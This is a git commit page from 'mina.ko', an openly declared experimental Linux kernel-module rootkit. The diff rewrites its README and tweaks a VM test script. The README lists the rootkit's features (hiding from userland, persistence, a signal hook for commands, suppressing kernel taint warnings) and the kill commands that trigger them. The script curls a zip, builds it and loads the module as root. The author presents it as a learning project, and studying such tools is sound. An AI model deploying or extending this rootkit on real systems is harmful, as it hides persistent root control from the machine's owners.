mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 72f6a6f8e2c9e2c02e3bbb744ce470279b956f81
parent 3ccf70d21ebc9fb101cee4febed2e0f37c84ba49
Author: djnn <[email protected]>
Date: Sun, 28 Sep 2025 20:21:39 +0200

feat: improving docs a little bit

Diffstat:
D.meta/showcase.png | 0
DREADME.md | 38--------------------------------------
AREADME.txt | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mlocal-serve.sh | 2+-

4 files changed, 72 insertions(+), 39 deletions(-)

diff --git a/.meta/showcase.png b/.meta/showcase.png
Binary files differ.
diff --git a/README.md b/README.md
@@ -1,38 +0,0 @@
-# mina
-
-the mina rootkit . . .
-
-experimental LKM rootkit, tested on `Linux 6.1.0-28`
-
-![screenshot](./.meta/showcase.png "project screenshot")
-
-## Compiling and running
-
-```bash
-sudo make deps
-
-make
-
-sudo make load
-
-# to remove the rootkit
-sudo make unload
-```
-
-## Features
-
-- hide from ring3
-- persistence module
-- kill-hook to retrieve commands to execute
-- hide taint-kernel warning
-
-
-## Commands
-
-### install persistence
-
-run command `kill -50 1337`
-
-### hide kernel module
-
-run command `kill -60 1337`
diff --git a/README.txt b/README.txt
@@ -0,0 +1,71 @@
+
+
+
+░▒▓██████████████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓██████▓▒░       ░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░      ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓██▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
+░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓██▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░
+
+
+
+  [[[ === THE MINA ROOTKIT [--- written by djnn for fun ---] version 0.0.1 === ]]]
+
+
+  ~ source code: https://evil.djnn.sh/mina.ko/log.html
+
+
+1. Motivations
+
+The goal of this project is to increase my understanding of the Linux Operating System
+by writing a Loadable Kernel Module. Most of the code you will see here is not particularly
+innovative or new. It is just my own implementation, and take on it.
+
+You can find many cool projects if you browse online. They are probably more stealthy, stable,
+or feature more capabilities. It's likely something else out there fits your needs better, this
+is just a learning project that I am doing for fun.
+
+2. Basic design
+
+The rootkit works by intercepting the Signal syscall, and interpreting commands based on what
+signal is sent. For now, there is no userland driver to interact within, but such software is
+planned in order to communicate remotely safely.
+
+3. Instructions
+3.1 Compiling and run
+
+Tested on:
+- Linux Debian 6.12.41-1
+
+[+] Compile with:   make compile
+[+] Run with:       make load
+
+
+3.2 Commands
+
+[*] Install persistence:    kill -50 1337
+[*] Hide LKM at runtime:    kill -60 1337
+
+
+3.3 Development instructions
+
+I use QEMU to run my local virtual machine. If you're using something else, instruction may very.
+You can use the Virtual Machine Manager if you want to manage it using a GUI.
+
+Create a new machine using Debian 12 LTS iso. Don't forget to add your current user to sudoers file.
+
+Then, you can simply run the following on your Host machine:
+
+$ ./local-serve.sh
+
+
+Instructions are within the script, copy and paste.
+
+3.3.a Installing dependencies
+
+You might have to install dependencies to build the rootkit locally.
+If you have the zip archive downloaded on your guest machine, you can simply run:
+
+$ make deps
diff --git a/local-serve.sh b/local-serve.sh
@@ -16,7 +16,7 @@ cleanup() {
 trap cleanup SIGINT
 
 HOST_IP=$(ip route | awk '/virbr0/ {print $9}')
-COMMAND_GUEST="curl http://${HOST_IP}:${PORT}/${ZIP_FILE} -o ${ZIP_FILE} && unzip ${ZIP_FILE} && cd ${WATCH_DIR} && make compile && make load"
+COMMAND_GUEST="curl http://${HOST_IP}:${PORT}/${ZIP_FILE} -o ${ZIP_FILE} && unzip ${ZIP_FILE} && cd ${WATCH_DIR} && make compile && sudo make load"
 
 if [ ! -d "$WATCH_DIR" ]; then
     echo "Error: Directory '$WATCH_DIR' not found."